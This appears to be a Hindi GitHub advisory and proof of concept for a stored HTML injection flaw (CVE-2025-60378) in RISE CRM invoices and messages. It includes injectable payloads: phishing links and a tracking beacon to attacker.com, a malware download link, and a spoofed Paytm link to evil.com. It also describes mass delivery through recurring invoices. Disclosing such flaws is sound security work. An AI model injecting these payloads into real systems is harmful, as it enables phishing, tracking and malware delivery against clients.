ajansha/cve-2025-60378स्टोर्ड HTML इंजेक्शन के लिए प्रूफ ऑफ कॉन्सेप्ट RISE CRM में, यह प्रदर्शित करता है कि प्रमाणित उपयोगकर्ता इनवॉइस और संदेशों में दुर्भावनापूर्ण HTML कैसे इंजेक्ट कर सकते हैं, जिससे स्वचालित ईमेल और PDF के माध्यम से फ़िशिंग और मैलवेयर वितरण हो सकता है।
⚠️ सुरक्षा सलाह
इनवॉइस, मैसेजिंग और स्वचालित संचार को प्रभावित करने वाली एक गंभीर संग्रहीत HTML इंजेक्शन भेद्यता
-ff6600){kind=icon}
RISE Ultimate Project Manager & CRM में एक गंभीर संग्रहीत HTML इंजेक्शन भेद्यता खोजी गई है जो प्रमाणित उपयोगकर्ताओं को इनवॉइस लाइन आइटम, क्लाइंट नोट्स और मैसेजिंग मॉड्यूल में दुर्भावनापूर्ण HTML इंजेक्ट करने की अनुमति देती है। यह इंजेक्ट की गई सामग्री डेटाबेस में बनी रहती है और स्वचालित रूप से क्लाइंट-सामना वाले ईमेल, PDF और चैट संचार में प्रस्तुत की जाती है, जिससे बड़े पैमाने पर फ़िशिंग हमले, व्यावसायिक ईमेल समझौता और ईमेल/PDF-आधारित मैलवेयर वितरण संभव होता है।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2025-60378 |
| प्रकार | संग्रहीत HTML इंजेक्शन |
| CWE | CWE-79 |
| हमला वेक्टर | नेटवर्क/रिमोट |
| प्रमाणीकरण | आवश्यक (निम्न विशेषाधिकार) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| गंभीरता | उच्च |
| CVSS v3.1 | 8.1 - उच्च |
| खोजकर्ता | Ajansha Shankar |
RISE CRM इनवॉइस, संदेश और क्लाइंट नोट्स सहित कई उपयोगकर्ता-संपादन योग्य फ़ील्ड में HTML सामग्री को ठीक से सैनिटाइज़ और एन्कोड करने में विफल रहता है। जब प्रमाणित उपयोगकर्ता इन फ़ील्ड में HTML पेलोड इंजेक्ट करते हैं, तो सामग्री पर्याप्त फ़िल्टरिंग के बिना डेटाबेस में संग्रहीत हो जाती है। इसके बाद, यह दुर्भावनापूर्ण HTML स्वचालित रूप से क्लाइंट-सामना वाले ईमेल, PDF अनुलग्नकों और मैसेजिंग/चैट मॉड्यूल में उचित एस्केपिंग के बिना प्रस्तुत किया जाता है। आवर्ती इनवॉइस और स्वचालित मैसेजिंग एक साथ कई प्राप्तकर्ताओं को दुर्भावनापूर्ण सामग्री वितरित करके हमले को बढ़ाते हैं।
| कारक | प्रभाव | स्पष्टीकरण |
|---|---|---|
| गोपनीयता | 🔴 उच्च | क्लाइंट क्रेडेंशियल और संवेदनशील डेटा फ़िशिंग के माध्यम से एकत्र किए जा सकते हैं |
| अखंडता | 🔴 उच्च | दुर्भावनापूर्ण सामग्री संचार और व्यावसायिक संबंधों की धारणा को बदल सकती है |
| उपलब्धता | 🟡 निम्न | सिस्टम उपलब्धता पर सीमित प्रत्यक्ष प्रभाव |
निम्न-विशेषाधिकार वाला प्रोजेक्ट मैनेजर एक्सेस वाला हमलावर दुर्भावनापूर्ण HTML के साथ एक इनवॉइस बनाता है:
<a href="https://attacker.com/fake-payment">Click here to view payment status</a>
इनवॉइस स्वचालित ईमेल के माध्यम से 100+ क्लाइंट्स को भेजा जाता है। सभी क्लाइंट्स को एक वैध इनवॉइस प्राप्त होता है जो उन्हें फ़िशिंग साइट पर निर्देशित करता है। हमलावर एक साथ कई पीड़ितों से क्रेडेंशियल एकत्र करता है।
एक हमलावर क्लाइंट संदेश में दुर्भावनापूर्ण HTML इंजेक्ट करता है:
<img src="https://attacker.com/track.gif?user=CLIENT_ID">
<a href="https://malware.com">Download Updated Project Files</a>
सभी टीम सदस्यों और क्लाइंट्स को उनके चैट में संदेश प्राप्त होता है, और वे मैलवेयर डाउनलोड करने के लिए लिंक पर क्लिक करते हैं।
एक हमलावर मैलवेयर वितरण पेलोड के साथ एक आवर्ती इनवॉइस स्थापित करता है। हर महीने, क्लाइंट्स को स्वचालित रूप से एम्बेडेड दुर्भावनापूर्ण सामग्री वाले इनवॉइस प्राप्त होते हैं, जो एक स्थायी हमला वेक्टर प्रदान करता है।
Navigate to: RISE CRM Dashboard → Invoices/Messages → Create New
<a href="https://attacker.com">Click here to view invoice</a>
<a href="https://evil.com" target="_blank">
<img src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzg4OXRuZHd4MXF0bWNqa3BvN2pzbWdqMzRxZHc5bHJpbXpucHNtaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/9PgvV8ale90lQwfQTZ/giphy.gif">
</a>
<h1><font color=red>Visit Our New WebSite</font></h1>
<h3><mark><a href="https://evil.com">https://www.paytm.com/</a></mark></h3>
✅ इंजेक्ट किया गया HTML बिना एस्केपिंग के ईमेल, PDF और मैसेजिंग में प्रस्तुत होता है ✅ लिंक क्लिक करने योग्य हैं और हमलावर साइटों पर पुनर्निर्देशित करते हैं ✅ छवियाँ हमलावर-नियंत्रित सर्वरों से लोड होती हैं ✅ सामग्री सभी भविष्य के क्लाइंट संचारों में बनी रहती है ✅ आवर्ती वितरण स्वचालित रूप से कई प्राप्तकर्ताओं तक पहुँचता है
| तिथि | घटना |
|---|---|
| TBD | भेद्यता खोजी गई |
| TBD | विक्रेता को सूचित किया गया |
| TBD | CVE-2025-60378 निर्धारित किया गया |
| TBD | पैच जारी किया गया (v3.9.4) |
| TBD | सार्वजनिक प्रकटीकरण |
खोजकर्ता: Ajansha Shankar
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
स्कोर: 8.1 (उच्च)
विवरण:
प्रश्नों या अतिरिक्त जानकारी के लिए:
⭐ यदि यह शोध सहायक था, तो कृपया इस रिपॉजिटरी को स्टार करने पर विचार करें!
🔔 अपडेट रहें: इस और भविष्य के सुरक्षा शोध पर अपडेट के लिए इस रिपॉजिटरी को देखें।